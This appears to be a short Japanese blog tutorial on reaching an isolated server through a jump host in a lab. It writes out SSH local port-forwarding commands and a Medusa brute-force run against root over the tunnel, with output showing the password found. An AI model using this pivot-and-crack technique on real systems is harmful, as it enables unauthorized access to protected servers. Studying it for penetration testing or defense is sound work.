登場する端末とサーバは次のとおり。
client:手元の端末 192.168.1.100
proxy:踏み台サーバ 192.168.1.200
server:攻撃対象のサーバ 192.168.1.80
シナリオとしては、proxy の ssh へログイン可能なユーザ ID とパスワードはわかっている状態で client から ssh 接続可能な環境。proxy の ssh_config にて AllowTcpForwarding yes が設定されているものとする。
攻撃対象の server は proxy からのみアクセスを受け付けるため client からは一切アクセスできない。
まずは ssh などで client から server へアクセスさせる。
client と proxy の間で ssh トンネルを張った後に client の port 10000 を使って server の port 22 へアクセスさせる。
トンネルを構築するためのコマンドは次の通り。
ssh -L 10000:192.168.1.80:22 192.168.1.200コマンドが正常に実行されるとパスワードが聞かれ、入力すると proxy とのトンネルが張られた状態になる。
この状態では ssh のコマンドプロンプトが開きっぱなしになる。複数のトンネルを張る場合などバックグラウンド処理させるためには以下のように -N -f オプションをつける。
ssh -N -f -L 10000:192.168.1.80:22 192.168.1.200基本的にこの port 10000 は localhost でしか使えない。他の端末などから接続させたい場合には -g オプションが必要になる。
ポートフォワードの設定がされると client のポート 10000 が待ち状態になる。
root@bt:~# netstat -nap | grep 10000 tcp 0 0 127.0.0.1:10000 0.0.0.0:* LISTEN 2468/sshここで client にて下記のようにコマンドを実行すると server へ ssh 接続できる。
ssh -p 10000 localhostclient から ssh で server まで接続できることがわかればまずは medusa でパスワードクラック。
medusa で使用する場合は ssh モジュールを port 10000 で使用するので -n で指定、-h localhost で実行すると失敗したので 127.0.0.1 で実行する。
root@bt:~# medusa -u root -p password123 -h 127.0.0.1 -M ssh -n 10000 Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networksこれで、外部から直接アクセスできないサーバへのパスワードクラックが可能。ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password123 (1 of 1 complete) ACCOUNT FOUND: [ssh] Host: 127.0.0.1 User: root Password: password123 [SUCCESS]
0 件のコメント:
コメントを投稿